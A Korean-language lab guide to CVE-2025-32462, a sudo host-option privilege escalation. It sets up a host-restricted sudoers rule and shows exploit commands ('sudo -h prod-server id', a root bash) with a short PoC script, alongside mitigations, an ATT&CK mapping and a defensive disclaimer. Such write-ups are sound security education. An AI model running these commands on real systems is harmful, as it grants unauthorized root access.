CVE-2025-32462 – Sudo 호스트 이름 우회 권한 상승

목차

1. 개요
2. 취약점 세부 정보
3. 영향
4. 실습 환경
5. 취약한 버전 확인
6. 사용자 및 sudoers 구성
7. 공격 실습
8. 개념 증명 요약
9. Ubuntu가 취약하지 않은 이유
10. 완화 조치
11. MITRE ATT&CK 매핑
12. 참고 자료
13. 고지 사항

개요

CVE-2025-32462는 sudo의 로컬 권한 상승 취약점으로, 호스트 이름으로 제한된 sudo 규칙을 악용하여 낮은 권한의 사용자가 root로 명령을 실행할 수 있게 합니다. 이 문제는 sudo가 인증 검사 중 -h(호스트) 옵션을 처리해 온 방식에 있습니다.

sudoers 규칙이 특정 호스트 이름으로 제한된 경우, sudo는 시스템 호스트 이름이 규칙과 일치할 때만 실행을 허용해야 합니다. 결함이 있는 논리로 인해 영향을 받는 버전은 sudo -h를 통해 사용자가 제공한 호스트 이름을 신뢰하여 공격자가 제한을 완전히 우회할 수 있게 했습니다.

취약점 세부 정보

• CVE ID: CVE-2025-32462
• 유형: 로컬 권한 상승
• 영향을 받는 구성 요소: sudo
• 공격 경로: 로컬
• 필요한 권한: 낮음(non‑sudo 사용자)
• 사용자 상호 작용: 없음

근본 원인

sudo는 -h <hostname> 인수가 인증 결정에 영향을 미치는 것을 허용했습니다. 취약한 버전에서는 시스템의 실제 호스트 이름에 대해 엄격하게 검증하는 대신 sudoers 규칙 평가 중에 제공된 호스트 이름을 신뢰했습니다.

그 결과, 호스트 기반 sudo 제한을 우회할 수 있었습니다.

영향

성공적으로 악용하면 로컬 공격자는 다음을 수행할 수 있습니다:

• root로 임의의 명령 실행
• 시스템 전체를 장악
• 관리 보안 경계 우회

실제 환경에서 이 취약점은 특히 다음 환경에서 위험합니다:

• 다중 사용자 시스템
• 호스트별 sudo 규칙을 사용하는 강화된 환경
• 배스천 또는 점프 호스트

실습 환경

⚠️ 참고: 최신 Ubuntu 및 Debian 릴리스는 유사한 버전 문자열을 유지하면서 패치를 백포트했습니다. 이 취약점은 패치된 시스템에서 재현할 수 없습니다.

1단계 – 취약한 sudo 버전 확인

sudo --version

예상 결과(취약한 경우):

Sudo version 1.9.5p2

2단계 – 낮은 권한의 사용자 생성

sudo useradd -m attacker
sudo passwd attacker
groups attacker

예상 결과:

attacker : attacker

사용자는 sudo 그룹에 속하지 않아야 합니다.

3단계 – 취약한 sudoers 규칙 구성

sudoers를 안전하게 편집합니다:

sudo visudo

다음 줄을 추가합니다:

attacker prod-server = (root) ALL

• prod-server는 가짜 호스트 이름입니다
• 실제 시스템 호스트 이름은 달라야 합니다

확인:

sudo -l -U attacker

예상 결과:

User attacker may run the following commands on prod-server:
    (root) ALL

4단계 – 일반 sudo가 거부되는지 확인

사용자 전환:

su - attacker

일반적인 방법으로 sudo를 시도합니다:

sudo id

예상 결과:

attacker is not allowed to run sudo on <hostname>

5단계 – 공격(CVE-2025-32462)

취약점을 트리거합니다:

sudo -h prod-server id

성공적인 악용 출력:

uid=0(root) gid=0(root) groups=0(root)

root 셸 실행:

sudo -h prod-server /bin/bash

확인:

id

개념 증명 요약

자동화된 PoC 스크립트(선택 사항)

#!/bin/bash
echo "[*] Attempting CVE-2025-32462 exploitation"
sudo -h prod-server id

exploit.sh로 저장하고 실행 권한을 부여한 다음 attacker 사용자로 실행합니다:

chmod +x exploit.sh
./exploit.sh

이는 성공적인 권한 상승을 확인합니다.

Ubuntu가 취약하지 않은 이유

최신 Ubuntu 릴리스는 영향을 받는 범위에 속하는 sudo 버전을 제공하는 것으로 보입니다. 그러나 Ubuntu는 업스트림 버전 문자열을 변경하지 않고 CVE-2025-32462에 대한 보안 수정을 백포트했습니다.

그 결과:

• sudo -h 옵션은 더 이상 인증 검사에 영향을 미치지 않습니다
• 호스트 이름 스푸핑이 올바르게 거부됩니다
• 유사한 버전 번호에도 불구하고 취약점을 재현할 수 없습니다

이는 버전 문자열만으로 판단하지 않고 동작 기반 테스트를 사용하여 취약점 상태를 검증하는 것의 중요성을 강조합니다.

완화 조치

• sudo를 패치된 버전으로 업그레이드합니다
• 가능하면 호스트 제한 sudo 규칙을 제거합니다
• 로컬 권한 상승 시도를 모니터링합니다

MITRE ATT&CK 매핑

• TA0004 – 권한 상승
• T1548.003 – 권한 상승 제어 메커니즘 악용(sudo)

참고 자료

• CVE-2025-32462 권고
• sudo 프로젝트 보안 공지
• Debian 보안 추적기

고지 사항

이 실습 가이드는 교육 및 방어적 보안 연구 목적으로만 제공됩니다. 소유하지 않았거나 명시적 평가 허가를 받지 않은 시스템에서 이 취약점을 테스트하지 마십시오.